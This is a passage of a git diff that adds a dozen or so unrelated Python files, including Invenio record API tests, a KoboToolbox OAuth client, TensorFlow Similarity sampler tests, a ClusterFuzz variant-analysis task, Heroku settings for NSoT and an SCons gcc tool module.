db.session.add(self.user_a) + db.session.commit() + except Exception: + db.session.rollback() + raise + self.create_oauth_token(self.user_a.id, scopes=[""]) + + def tearDown(self): + """Run after every test.""" + from invenio.modules.accounts.models import User + + self.remove_oauth_token() + User.query.filter(User.nickname.in_([ + self.user_a.nickname, + ])).delete(synchronize_session=False) + db.session.commit() + + def test_405_methods_recordresource(self): + """Test methods that return 405.""" + methods_405_recordresource = [self.patch, self.options, self.put, + self.post, self.head] + for m in methods_405_recordresource: + m( + 'recordresource', + user_id=self.user_a.id, + is_json=False, + urlargs=dict(record_id=1), + code=405, + ) + + def test_get_record_marcxml(self): + response = self.get( + 'recordresource', + user_id=self.user_a.id, + is_json=False, + urlargs=dict(record_id=1), + data='', + headers=[('Accept', 'application/marcxml+xml')] + ) + self.assertEqual(response.status_code, 200) + self.assertEqual(response.headers['Content-Type'], + 'application/marcxml+xml') + + def test_get_record_recjson(self): + answer = self.get( + 'recordresource', + user_id=self.user_a.id, + is_json=False, + urlargs=dict(record_id=1), + data='', + headers=[('Accept', 'application/json')] + ) + self.assertEqual(answer.status_code, 200) + self.assertEqual(answer.headers['Content-Type'], 'application/json') + + def test_get_record_bibtex(self): + answer = self.get( + 'recordresource', + user_id=self.user_a.id, + is_json=False, + urlargs=dict(record_id=1), + data='', + headers=[('Accept', 'application/x-bibtex')] + ) + self.assertEqual(answer.status_code, 200) + self.assertEqual(answer.headers['Content-Type'], + 'application/x-bibtex') + + def test_unsupported_media_type(self): + answer = self.get( + 'recordresource', + user_id=self.user_a.id, + is_json=False, + urlargs=dict(record_id=1), + data='', + headers=[('Accept', 'application/non-existent')] + ) + self.assertEqual(answer.status_code, 415) + + def test_get_records_list_marcxml(self): + test_params = dict( + query='Ellis', + sort_field='title', + sort_order='a', + page=1, + per_page=5 + ) + + answer = self.get( + 'recordlistresource', + user_id=self.user_a.id, + is_json=False, + urlargs=test_params, + data='', + headers=[('Accept', 'application/marcxml+xml')] + ) + self.assertEqual(answer.status_code, 200) + self.assertEqual(answer.headers['Content-Type'], + 'application/marcxml+xml') + + def test_get_records_list_recjson(self): + test_params = dict( + query='Ellis', + sort_field='title', + sort_order='a', + page=1, + per_page=5 + ) + + answer = self.get( + 'recordlistresource', + user_id=self.user_a.id, + is_json=False, + urlargs=test_params, + data='', + headers=[('Accept', 'application/json')] + ) + self.assertEqual(answer.status_code, 200) + self.assertEqual(answer.headers['Content-Type'], 'application/json') + + def test_get_records_list_bibtex(self): + test_params = dict( + query='Ellis', + sort_field='title', + sort_order='a', + page=1, + per_page=5 + ) + + answer = self.get( + 'recordlistresource', + user_id=self.user_a.id, + is_json=False, + urlargs=test_params, + data='', + headers=[('Accept', 'application/x-bibtex')] + ) + self.assertEqual(answer.status_code, 200) + self.assertEqual(answer.headers['Content-Type'], + 'application/x-bibtex') + + +TEST_SUITE = make_test_suite(TestRecordsRestfulAPI) + +if __name__ == "__main__": + run_test_suite(TEST_SUITE) diff --git a/pool/shard008/Python/0079044_Problem6.py b/pool/shard008/Python/0079044_Problem6.py new file mode 100644 index 0000000000000000000000000000000000000000..2f1faef113eae64ca2e264d6b621d921d3cbbe85 --- /dev/null +++ b/pool/shard008/Python/0079044_Problem6.py @@ -0,0 +1,27 @@ +#!/usr/bin/python +#Neil A. Patel +#20150112 + +import zipfile + +file = open("channel/90052.txt", "r") +zfile = zipfile.ZipFile('channel.zip', 'r') +line = "nothing" + +while "nothing" in line: + for line in file: + if "nothing" in line: + if line[-3] == " ": + nothingNum = line[-2:] + elif line[-4] == " ": + nothingNum = line[-3:] + elif line[-5] == " ": + nothingNum = line[-4:] + else: + nothingNum = line[-5:] + file.close + print zfile.getinfo(nothingNum+".txt").comment + file = open(("channel/"+nothingNum+".txt"), "r") + else: + print line + print zfile.getinfo(nothingNum+".txt").comment \ No newline at end of file diff --git a/pool/shard008/Python/0079051_setup_sascalc_library.py b/pool/shard008/Python/0079051_setup_sascalc_library.py new file mode 100644 index 0000000000000000000000000000000000000000..5bf23ceee942854063125c346737b9697453608e --- /dev/null +++ b/pool/shard008/Python/0079051_setup_sascalc_library.py @@ -0,0 +1,111 @@ +from __future__ import print_function +# System imports +from distutils.core import * +import os, platform + +os_type = platform.system() + +#os.environ["CC"] = "g++" + +cpp_library_name = 'sascalc' +cuda_library_name = 'cudaSascalc' + +if os_type == "Darwin": + cuda_dir = os.path.join(os.path.sep,'usr','local','cuda') +elif os_type == "Linux": + cuda_dir = os.path.join(os.path.sep,'share','apps','local','cuda') + +# Third-party modules - we depend on numpy for everything +import numpy + +from numpy.distutils.core import Extension, setup + +# Obtain the numpy include directory. This logic works across numpy versions. +try: + numpy_include = numpy.get_include() +except AttributeError: + numpy_include = numpy.get_numpy_include() + +if os.path.isdir(cuda_dir): + cuda_driver = True +else: + cuda_driver = False + +if os.path.isfile(os.path.join('extensions','lib','libsascalc.a')): + cpp_lib = True +else: + cpp_lib = False + +if os.path.isfile(os.path.join('extensions','lib','libcudaSascalc.a')): + cuda_lib = True +else: + cuda_lib = False + +if not cpp_lib and not cuda_lib: + print("Either cpp or cuda lib needs to be pre-built") + exit(0) +if cuda_lib and not cuda_driver: + print("Cuda lib found but no cuda driver detected") + exit(0) + +include_dir_names = [numpy_include] +library_dir_names = [] +library_names = [] +macros = [] + +cuda_driver = False +cuda_lib = False + +if cpp_lib: + include_dir_names.append(os.path.join('extensions','src')) #include')) + library_dir_names.append(os.path.join('extensions','lib')) + library_names.append(cpp_library_name) + macros.append(('CPP_LIB','1')) +if cuda_driver: + include_dir_names.append(os.path.join(cuda_dir,'include')) + #library_dir_names.append(os.path.join(cuda_dir,'lib64')) + library_dir_names.append(os.path.join(cuda_dir,'lib')) + library_names.append('cuda') + library_names.append('cudart') + macros.append(('CUDA_DRIVER','1')) +if cuda_lib: + include_dir_names.append(os.path.join('extensions','src')) #include')) + library_dir_names.append(os.path.join('extensions','lib')) + library_names.append(cpp_library_name) #ZHL hack + library_names.append(cuda_library_name) + macros.append(('CUDA_LIB','1')) + +if cuda_driver and cuda_lib: + macros.append(('USE_CUDA','1')) +else: + macros.append(('USE_CPU','1')) + +# extension module +sascalc_api = Extension(name="sascalc_api",sources=['sascalc_library_extension.cpp'], + include_dirs = include_dir_names, + library_dirs = library_dir_names, + libraries = library_names, + define_macros = macros, + ) + +# setup +setup( name = "sascalc_api", + description = "Module for sascalc_api", + author = "Hailiang Zhang", + ext_modules = [sascalc_api] + ) + + + +### post compilation file move + +try: + lib_file = os.path.join('build', 'lib*', 'sascalc_api.*') + os.system('mv ' + lib_file + ' .') +except: + print('sascalc_api.* not found') + print('sascalc_api.* not found') + print('sascalc_api.* not found') + print('\nINSTALLATION FAILED\n') + print('INSTALLATION FAILED\n') + print('INSTALLATION FAILED\n') diff --git a/pool/shard008/Python/0079054_bankaccount.py b/pool/shard008/Python/0079054_bankaccount.py new file mode 100644 index 0000000000000000000000000000000000000000..8b9638961fd04ae5494a72dd9ac0bc1ef91bf65b --- /dev/null +++ b/pool/shard008/Python/0079054_bankaccount.py @@ -0,0 +1,22 @@ +from mangopaysdk.entities.entitybase import EntityBase + + +class BankAccount(EntityBase): + """Bank Account entity.""" + + def __init__(self, id = None): + self.UserId = None + # Type of bank account + self.Type = 'IBAN' + self.OwnerName = None + self.OwnerAddress = None + # must be valid ^[a-zA-Z]{2}\d{2}\s*(\w{4}\s*){2,7}\w{1,4} + self.IBAN = None + # example BREXPLPWKRA + self.BIC = None + return super().__init__(id) + + def GetReadOnlyProperties(self): + properties = super().GetReadOnlyProperties() + properties.append('UserId' ) + return properties \ No newline at end of file diff --git a/pool/shard008/Python/0079057_test_memory_samplers.py b/pool/shard008/Python/0079057_test_memory_samplers.py new file mode 100644 index 0000000000000000000000000000000000000000..f9ddb6f88884acfada1e8b85093622b710db8e4a --- /dev/null +++ b/pool/shard008/Python/0079057_test_memory_samplers.py @@ -0,0 +1,150 @@ +import re + +import pytest +import tensorflow as tf + +from tensorflow_similarity.samplers import select_examples +from tensorflow_similarity.samplers import MultiShotMemorySampler + + +def test_valid_class_numbers(): + "Check that sampler properly detect if num_class requests >> class avail" + y = tf.constant([1, 2, 3, 1, 2, 3, 1]) + x = tf.constant([10, 20, 30, 10, 20, 30, 10]) + + class_per_batch = 42 + + with pytest.raises(ValueError): + MultiShotMemorySampler(x=x, y=y, classes_per_batch=class_per_batch) + + +@pytest.mark.parametrize("example_per_class", [2, 20]) +def test_select_examples(example_per_class): + """Test select_examples with various sizes. + + Users may sample with replacement when creating batches, so check that we + can handle when elements per class is either less than or greater than the + total count of elements in the class. + """ + y = tf.constant([1, 2, 3, 1, 2, 3, 1]) + x = tf.constant([10, 20, 30, 10, 20, 30, 10]) + cls_list = [1, 3] + batch_x, batch_y = select_examples(x, y, cls_list, example_per_class) + + assert len(batch_y) == len(cls_list) * example_per_class + assert len(batch_x) == len(cls_list) * example_per_class + + for x, y in zip(batch_x, batch_y): + assert y in cls_list + + if y == 1: + assert x == 10 + elif y == 3: + assert x == 30 + + +@pytest.mark.parametrize("example_per_class", [2, 20]) +def test_multi_shot_memory_sampler(example_per_class): + """Test MultiShotMemorySampler with various sizes. + + Users may sample with replacement when creating batches, so check that we + can handle when elements per class is either less than or greater than the + total count of elements in the class. + """ + y = tf.constant([1, 2, 3, 1, 2, 3, 1]) + x = tf.constant([10, 20, 30, 10, 20, 30, 10]) + class_per_batch = 2 + batch_size = example_per_class * class_per_batch + + ms_sampler = MultiShotMemorySampler( + x=x, + y=y, + classes_per_batch=class_per_batch, + examples_per_class_per_batch=example_per_class, + ) # noqa + + batch_x, batch_y = ms_sampler.generate_batch(batch_id=606) + + assert len(batch_y) == batch_size + assert len(batch_x) == batch_size + num_classes, _ = tf.unique(batch_y) + assert len(num_classes) == class_per_batch + + for x, y in zip(batch_x, batch_y): + if y == 1: + assert x == 10 + elif y == 2: + assert x == 20 + elif y == 3: + assert x == 30 + + +def test_msms_get_slice(): + """Test the multi shot memory sampler get_slice method.""" + y = tf.constant(range(4)) + x = tf.constant([[0] * 10, [1] * 10, [2] * 10, [3] * 10]) + + ms_sampler = MultiShotMemorySampler(x=x, y=y) + # x and y are randomly shuffled so we fix the values here. + ms_sampler._x = x + ms_sampler._y = y + slice_x, slice_y = ms_sampler.get_slice(1, 2) + + assert slice_x.shape == (2, 10) + assert slice_y.shape == (2,) + + assert slice_x[0, 0] == 1 + assert slice_x[1, 0] == 2 + + assert slice_y[0] == 1 + assert slice_y[1] == 2 + + +def test_msms_properties(): + """Test the multi shot memory sampler num_examples and shape""" + y = tf.constant(range(4)) + x = tf.ones([4, 10, 20, 3]) + + ms_sampler = MultiShotMemorySampler(x=x, y=y) + + assert ms_sampler.num_examples == 4 + assert ms_sampler.example_shape == (10, 20, 3) + + +def test_small_class_size(capsys): + """Test examples_per_class is > the number of class examples.""" + y = tf.constant([1, 1, 1, 2]) + x = tf.ones([4, 10, 10, 3]) + + ms_sampler = MultiShotMemorySampler(x=x, + y=y, + classes_per_batch=2, + examples_per_class_per_batch=3) + + _, batch_y = ms_sampler.generate_batch(0) + + y, _, class_counts = tf.unique_with_counts(batch_y) + assert tf.math.reduce_all(tf.sort(y) == tf.constant([1, 2])) + assert tf.math.reduce_all(class_counts == tf.constant([3, 3])) + + captured = capsys.readouterr() + expected_msg = ( + "WARNING: Class 2 only has 1 unique examples, but " + "examples_per_class is set to 3. The current batch will sample " + "from class examples with replacement, but you may want to " + "consider passing an Augmenter function or using the " + "SingleShotMemorySampler().") + + match = re.search(expected_msg, captured.out) + assert bool(match) + + _, batch_y = ms_sampler.generate_batch(0) + + y, _, class_counts = tf.unique_with_counts(batch_y) + assert tf.math.reduce_all(tf.sort(y) == tf.constant([1, 2])) + assert tf.math.reduce_all(class_counts == tf.constant([3, 3])) + + # Subsequent batch should produce the sampler warning. + captured = capsys.readouterr() + match = re.search(expected_msg, captured.out) + assert not bool(match) diff --git a/pool/shard008/Python/0079060_tunel_struct.py b/pool/shard008/Python/0079060_tunel_struct.py new file mode 100644 index 0000000000000000000000000000000000000000..d27cde183b4a64f7a4ea0d9dfb3152793608ec1a --- /dev/null +++ b/pool/shard008/Python/0079060_tunel_struct.py @@ -0,0 +1,39 @@ +class tunel: + def __init__(self, tn_id, name=None, cnt=0): + self.tn_id = tn_id + if name: + self.name = name + else: + self.name = 'tunel '+str(tn_id)[1:] + self.cnt = cnt + + +class tunel_pool: + def __init__(self): + self.pool = {} + self.pool['t0'] = tunel('t0', 'main tunel', 1) + + def join_tn(self, tn_id): + self.pool.setdefault(tn_id, tunel(tn_id=tn_id, cnt=0)) + self.pool[tn_id].cnt += 1 + return tn_id + + def leave_tn(self, tn_id): + if tn_id in self.pool: + self.pool[tn_id].cnt -= 1 + if not self.pool[tn_id].cnt: + self.pool.pop(tn_id) + + def ch_tn(self, tn_id_from, tn_id_to): + self.join_tn(tn_id_to) + self.leave_tn(tn_id_from) + return tn_id_to + + def chname_tn(self, tn_id, new_name): + if tn_id == 't0': + return False + self.pool[tn_id].name = new_name + return True + + +__all__ = [tunel, tunel_pool] diff --git a/pool/shard008/Python/0079061_kobo.py b/pool/shard008/Python/0079061_kobo.py new file mode 100644 index 0000000000000000000000000000000000000000..f6cafe874ca544f91f19c6bcb9b937a0e5110122 --- /dev/null +++ b/pool/shard008/Python/0079061_kobo.py @@ -0,0 +1,45 @@ +import requests +from django.conf import settings +from datetime import datetime, timedelta + + +class Kobo(object): + def __init__(self, acces_token, expiry_datetime, refresh_token): + self.access_token = acces_token + self.expiry_datetime = expiry_datetime + self.refresh_token = refresh_token + + @classmethod + def from_refresh_token(cls, refresh_token): + payload = { + 'grant_type': 'refresh_token', + 'refresh_token': refresh_token, + } + r = requests.post("https://kc.kobotoolbox.org/o/token/", + params=payload, + auth=(settings.KOBO_CLIENT_ID, settings.KOBO_CLIENT_SECRET)) + r.raise_for_status() + expiry_datetime = datetime.utcnow() + timedelta(seconds=r.json()['expires_in']) + return cls(r.json()['access_token'], expiry_datetime, r.json()['refresh_token']) + + @classmethod + def from_auth_code(cls, auth_code, redirect_uri): + payload = { + 'grant_type': 'authorization_code', + 'code': auth_code, + 'redirect_uri': redirect_uri, + } + r = requests.post("https://kc.kobotoolbox.org/o/token/", + params=payload, + auth=(settings.KOBO_CLIENT_ID, settings.KOBO_CLIENT_SECRET)) + r.raise_for_status() + expiry_datetime = datetime.utcnow() + timedelta(seconds=r.json()['expires_in']) + return cls(r.json()['access_token'], expiry_datetime, r.json()['refresh_token']) + + def get_responses(self, form_id): + headers = { + 'Authorization': "Bearer %s" % self.access_token, + } + r = requests.get("https://kc.kobotoolbox.org/api/v1/data/%s" % form_id, headers=headers) + r.raise_for_status() + return r.json() diff --git a/pool/shard008/Python/0079064_test_s4.py b/pool/shard008/Python/0079064_test_s4.py new file mode 100644 index 0000000000000000000000000000000000000000..66db1d41bb0ede93637e4a8610a0863779d6ebc8 --- /dev/null +++ b/pool/shard008/Python/0079064_test_s4.py @@ -0,0 +1,97 @@ +# Copyright 2008-2015 Canonical +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as +# published by the Free Software Foundation, either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . +# +# For further info, check http://launchpad.net/filesync-server + +"""S4 specific tests.""" + +import zlib + +from StringIO import StringIO + +from twisted.internet import threads + +from s3lib.s3lib import S3 +from s4 import s4 +from backends.filesync.data import errors +from ubuntuone.storage.server.testing.testcase import TestWithDatabase +from ubuntuone.storageprotocol import request +from ubuntuone.storageprotocol.content_hash import content_hash_factory, crc32 + +AWS_HOST = "localhost" +NO_CONTENT_HASH = "" +EMPTY_HASH = content_hash_factory().content_hash() + + +class TestS4(TestWithDatabase): + """Test S4""" + + def test_alive(self): + """Test that s4 has started.""" + size = 100 + s3 = S3(AWS_HOST, self.s4_port, s4.AWS_DEFAULT_ACCESS_KEY_ID, + s4.AWS_DEFAULT_SECRET_ACCESS_KEY) + f = s3.get("size", str(size)) + d = f.deferred + + def done(result): + self.assertEqual(result, "0" * size) + + def err(result): + raise self.fail(result) + + d.addCallbacks(done, err) + return d + + def test_putcontent(self): + """Test putting content to a file.""" + data = "*" * 100000 + deflated_data = zlib.compress(data) + hash_object = content_hash_factory() + hash_object.update(data) + hash_value = hash_object.content_hash() + crc32_value = crc32(data) + size = len(data) + deflated_size = len(deflated_data) + + def auth(client): + def check_file(result): + def _check_file(): + try: + content_blob = self.usr0.volume().get_content( + hash_value) + except errors.DoesNotExist: + raise ValueError("content blob is not there") + assert self.s4_site.resource.buckets["test"] \ + .bucket_children[str(content_blob.storage_key)] \ + .contents == deflated_data + + d = threads.deferToThread(_check_file) + return d + + d = client.dummy_authenticate("open sesame") + d.addCallbacks(lambda _: client.get_root(), client.test_fail) + d.addCallbacks( + lambda root: client.make_file(request.ROOT, root, "hola"), + client.test_fail) + d.addCallbacks( + lambda mkfile_req: client.put_content( + request.ROOT, mkfile_req.new_id, NO_CONTENT_HASH, + hash_value, crc32_value, size, deflated_size, + StringIO(deflated_data)), + client.test_fail) + d.addCallback(check_file) + d.addCallbacks(client.test_done, client.test_fail) + return self.callback_test(auth) diff --git a/pool/shard008/Python/0079071_media_router_dialog_metric.py b/pool/shard008/Python/0079071_media_router_dialog_metric.py new file mode 100644 index 0000000000000000000000000000000000000000..85f66b82bbfaeeebcf007c1321bb2eebfd56848c --- /dev/null +++ b/pool/shard008/Python/0079071_media_router_dialog_metric.py @@ -0,0 +1,71 @@ +# Copyright 2016 The Chromium Authors. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + +import json + +from telemetry.value import histogram +from telemetry.value import histogram_util +from telemetry.value import scalar + +from metrics import Metric + +HISTOGRAMS_TO_RECORD = [ + { + 'name': 'MediaRouter.Ui.Dialog.LoadedWithData', 'units': 'ms', + 'display_name': 'dialog_loaded_with_data', + 'type': histogram_util.BROWSER_HISTOGRAM, + 'description': 'The latency to render the media router dialog with data.', + }, + { + 'name': 'MediaRouter.Ui.Dialog.Paint', 'units': 'ms', + 'display_name': 'dialog_paint', + 'type': histogram_util.BROWSER_HISTOGRAM, + 'description': 'The latency to paint the media router dialog.', + }] + + +class MediaRouterDialogMetric(Metric): + "A metric for media router dialog latency from histograms." + + def __init__(self): + super(MediaRouterDialogMetric, self).__init__() + self._histogram_start = dict() + self._histogram_delta = dict() + self._started = False + + def Start(self, page, tab): + self._started = True + + for h in HISTOGRAMS_TO_RECORD: + histogram_data = histogram_util.GetHistogram( + h['type'], h['name'], tab) + # Histogram data may not be available + if not histogram_data: + continue + self._histogram_start[h['name']] = histogram_data + + def Stop(self, page, tab): + assert self._started, 'Must call Start() first' + for h in HISTOGRAMS_TO_RECORD: + # Histogram data may not be available + if h['name'] not in self._histogram_start: + continue + histogram_data = histogram_util.GetHistogram( + h['type'], h['name'], tab) + + if not histogram_data: + continue + self._histogram_delta[h['name']] = histogram_util.SubtractHistogram( + histogram_data, self._histogram_start[h['name']]) + + def AddResults(self, tab, results): + assert self._histogram_delta, 'Must call Stop() first' + for h in HISTOGRAMS_TO_RECORD: + # Histogram data may not be available + if h['name'] not in self._histogram_delta: + continue + results.AddValue(histogram.HistogramValue( + results.current_page, h['display_name'], h['units'], + raw_value_json=self._histogram_delta[h['name']], important=False, + description=h.get('description'))) diff --git a/pool/shard008/Python/0079083_variant_task.py b/pool/shard008/Python/0079083_variant_task.py new file mode 100644 index 0000000000000000000000000000000000000000..8ba81ec0296ed1857d17d626c334f6af253144fc --- /dev/null +++ b/pool/shard008/Python/0079083_variant_task.py @@ -0,0 +1,164 @@ +# Copyright 2019 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +"""Variant task for analyzing testcase variants with a different job.""" + +from clusterfuzz._internal.base import errors +from clusterfuzz._internal.base import utils +from clusterfuzz._internal.bot import testcase_manager +from clusterfuzz._internal.bot.tasks import setup +from clusterfuzz._internal.build_management import build_manager +from clusterfuzz._internal.crash_analysis.crash_comparer import CrashComparer +from clusterfuzz._internal.datastore import data_handler +from clusterfuzz._internal.datastore import data_types +from clusterfuzz._internal.metrics import logs +from clusterfuzz._internal.system import environment + + +def _get_variant_testcase_for_job(testcase, job_type): + """Return a testcase entity for variant task use. This changes the fuzz + target params for a particular fuzzing engine.""" + if testcase.job_type == job_type: + # Update stack operation on same testcase. + return testcase + + if not environment.is_engine_fuzzer_job(testcase.job_type): + # For blackbox fuzzer testcases, there is no change of fuzzer required. + return testcase + + engine_name = environment.get_engine_for_job(job_type) + project = data_handler.get_project_name(job_type) + binary_name = testcase.get_metadata('fuzzer_binary_name') + fully_qualified_fuzzer_name = data_types.fuzz_target_fully_qualified_name( + engine_name, project, binary_name) + + variant_testcase = data_types.clone_entity(testcase) + variant_testcase.key = testcase.key + variant_testcase.fuzzer_name = engine_name + variant_testcase.overridden_fuzzer_name = fully_qualified_fuzzer_name + variant_testcase.job_type = job_type + + # Remove put() method to avoid updates. DO NOT REMOVE THIS. + variant_testcase.put = lambda: None + + return variant_testcase + + +def execute_task(testcase_id, job_type): + """Run a test case with a different job type to see if they reproduce.""" + testcase = data_handler.get_testcase_by_id(testcase_id) + if not testcase: + return + + if (environment.is_engine_fuzzer_job(testcase.job_type) != + environment.is_engine_fuzzer_job(job_type)): + # We should never reach here. But in case we do, we should bail out as + # otherwise we will run into exceptions. + return + + # Use a cloned testcase entity with different fuzz target paramaters for + # a different fuzzing engine. + original_job_type = testcase.job_type + testcase = _get_variant_testcase_for_job(testcase, job_type) + + # Setup testcase and its dependencies. + file_list, _, testcase_file_path = setup.setup_testcase(testcase, job_type) + if not file_list: + return + + # Set up a custom or regular build. We explicitly omit the crash revision + # since we want to test against the latest build here. + try: + build_manager.setup_build() + except errors.BuildNotFoundError: + logs.log_warn('Matching build not found.') + return + + # Check if we have an application path. If not, our build failed to setup + # correctly. + if not build_manager.check_app_path(): + testcase = data_handler.get_testcase_by_id(testcase_id) + data_handler.update_testcase_comment( + testcase, data_types.TaskState.ERROR, + 'Build setup failed with job: ' + job_type) + return + + # Disable gestures if we're running on a different platform from that of + # the original test case. + use_gestures = testcase.platform == environment.platform().lower() + + # Reproduce the crash. + app_path = environment.get_value('APP_PATH') + command = testcase_manager.get_command_line_for_application( + testcase_file_path, app_path=app_path, needs_http=testcase.http_flag) + test_timeout = environment.get_value('TEST_TIMEOUT', 10) + revision = environment.get_value('APP_REVISION') + result = testcase_manager.test_for_crash_with_retries( + testcase, + testcase_file_path, + test_timeout, + http_flag=testcase.http_flag, + use_gestures=use_gestures, + compare_crash=False) + + if result.is_crash() and not result.should_ignore(): + crash_state = result.get_state() + crash_type = result.get_type() + security_flag = result.is_security_issue() + + gestures = testcase.gestures if use_gestures else None + one_time_crasher_flag = not testcase_manager.test_for_reproducibility( + testcase.fuzzer_name, testcase.actual_fuzzer_name(), testcase_file_path, + crash_state, security_flag, test_timeout, testcase.http_flag, gestures) + if one_time_crasher_flag: + status = data_types.TestcaseVariantStatus.FLAKY + else: + status = data_types.TestcaseVariantStatus.REPRODUCIBLE + + crash_comparer = CrashComparer(crash_state, testcase.crash_state) + is_similar = ( + crash_comparer.is_similar() and security_flag == testcase.security_flag) + + unsymbolized_crash_stacktrace = result.get_stacktrace(symbolized=False) + symbolized_crash_stacktrace = result.get_stacktrace(symbolized=True) + crash_stacktrace_output = utils.get_crash_stacktrace_output( + command, symbolized_crash_stacktrace, unsymbolized_crash_stacktrace) + else: + status = data_types.TestcaseVariantStatus.UNREPRODUCIBLE + is_similar = False + crash_type = None + crash_state = None + security_flag = False + crash_stacktrace_output = 'No crash occurred.' + + if original_job_type == job_type: + # This case happens when someone clicks 'Update last tested stacktrace using + # trunk build' button. + testcase = data_handler.get_testcase_by_id(testcase_id) + testcase.last_tested_crash_stacktrace = ( + data_handler.filter_stacktrace(crash_stacktrace_output)) + testcase.set_metadata( + 'last_tested_crash_revision', revision, update_testcase=True) + else: + # Regular case of variant analysis. + variant = data_handler.get_testcase_variant(testcase_id, job_type) + variant.status = status + variant.revision = revision + variant.crash_type = crash_type + variant.crash_state = crash_state + variant.security_flag = security_flag + variant.is_similar = is_similar + variant.platform = environment.platform().lower() + # Explicitly skipping crash stacktrace for now as it make entities larger + # and we plan to use only crash paramaters in UI. + variant.put() diff --git a/pool/shard008/Python/0079084_settings.py b/pool/shard008/Python/0079084_settings.py new file mode 100644 index 0000000000000000000000000000000000000000..2121ecafcd1a9ea315812fd351f7396b9a7598bb --- /dev/null +++ b/pool/shard008/Python/0079084_settings.py @@ -0,0 +1,41 @@ +# Database +# https://docs.djangoproject.com/en/1.8/ref/settings/#databases + +from django.utils.crypto import get_random_string +import dj_database_url +from nsot.conf.settings import * +import os + + +# Use Heroku's $DATABASE_URL +DATABASES = { + 'default': dj_database_url.config() +} + +# This is so that we can use Heroku's SSL properly +SECURE_PROXY_SSL_HEADER = ("HTTP_X_FORWARDED_PROTO", "https") + +# To generate a secret_key in your Heroku config, run this: +# $ heroku config:set SECRET_KEY=`openssl rand -base64 32` +SECRET_KEY = os.environ.get( + 'SECRET_KEY', + get_random_string(50, 'abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*(-_=+)') +) + +AUTH_TOKEN_EXPIRY = 600 * 3 # 30 minutes + +############### +# Application # +############### + +# The address on which the application will listen. +# Default: localhost +NSOT_HOST = '0.0.0.0' + +# The port on which the application will be accessed. +# Default: 8990 +NSOT_PORT = os.getenv('PORT') + +STATIC_ROOT = 'static_root' + +DEBUG = True diff --git a/pool/shard008/Python/0079096_test_tax.py b/pool/shard008/Python/0079096_test_tax.py new file mode 100644 index 0000000000000000000000000000000000000000..bdad0029b2f856b7ebccec4ef7e5e3a3b4f6969c --- /dev/null +++ b/pool/shard008/Python/0079096_test_tax.py @@ -0,0 +1,26 @@ +import os +import sys + +pytest_plugins = 'pytester', + + +def test_main(testdir): + testdir.makefile('.ini', tox=r"""[tox] +envlist = foobar +skipsdist = true + +[testenv] +commands = + python -c "import sys; print('sys.executable=%r' % sys.executable)" + python -c "import sys, os; sys.stdout.write('OK\n') if {0!r} == os.path.dirname(os.path.normcase(sys.executable)) else sys.stdout.write('BAD\n')" +""".format(os.path.dirname(os.path.normcase(sys.executable)))) + + result = testdir.run('tax', '-v', '-e', 'foobar') + result.stdout.fnmatch_lines([ + "foobar installed: *", + "foobar *: PYTHONHASHSEED=*", + "foobar runtests: commands[[]0[]] | *", + "sys.executable=*", + "foobar runtests: commands[[]1[]] | *", + "OK", + ]) diff --git a/pool/shard008/Python/0079097_gcc.py b/pool/shard008/Python/0079097_gcc.py new file mode 100644 index 0000000000000000000000000000000000000000..814e1dec242e489e4b6a0198220f34a9daceb52f --- /dev/null +++ b/pool/shard008/Python/0079097_gcc.py @@ -0,0 +1,80 @@ +"""SCons.Tool.gcc + +Tool-specific initialization for gcc. + +There normally shouldn't be any need to import this module directly. +It will usually be imported through the generic SCons.Tool.Tool() +selection method. + +""" + +# +# Copyright (c) 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012 The SCons Foundation +# +# Permission is hereby granted, free of charge, to any person obtaining +# a copy of this software and associated documentation files (the +# "Software"), to deal in the Software without restriction, including +# without limitation the rights to use, copy, modify, merge, publish, +# distribute, sublicense, and/or sell copies of the Software, and to +# permit persons to whom the Software is furnished to do so, subject to +# the following conditions: +# +# The above copyright notice and this permission notice shall be included +# in all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY +# KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE +# WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +# + +__revision__ = "src/engine/SCons/Tool/gcc.py issue-2856:2676:d23b7a2f45e8 2012/08/05 15:38:28 garyo" + +import cc +import os +import re +import subprocess + +import SCons.Util + +compilers = ['gcc', 'cc'] + +def generate(env): + """Add Builders and construction variables for gcc to an Environment.""" + cc.generate(env) + + env['CC'] = env.Detect(compilers) or 'gcc' + if env['PLATFORM'] in ['cygwin', 'win32']: + env['SHCCFLAGS'] = SCons.Util.CLVar('$CCFLAGS') + else: + env['SHCCFLAGS'] = SCons.Util.CLVar('$CCFLAGS -fPIC') + # determine compiler version + if env['CC']: + #pipe = SCons.Action._subproc(env, [env['CC'], '-dumpversion'], + pipe = SCons.Action._subproc(env, [env['CC'], '--version'], + stdin = 'devnull', + stderr = 'devnull', + stdout = subprocess.PIPE) + if pipe.wait() != 0: return + # -dumpversion was added in GCC 3.0. As long as we're supporting + # GCC versions older than that, we should use --version and a + # regular expression. + #line = pipe.stdout.read().strip() + #if line: + # env['CCVERSION'] = line + line = pipe.stdout.readline() + match = re.search(r'[0-9]+(\.[0-9]+)+', line) + if match: + 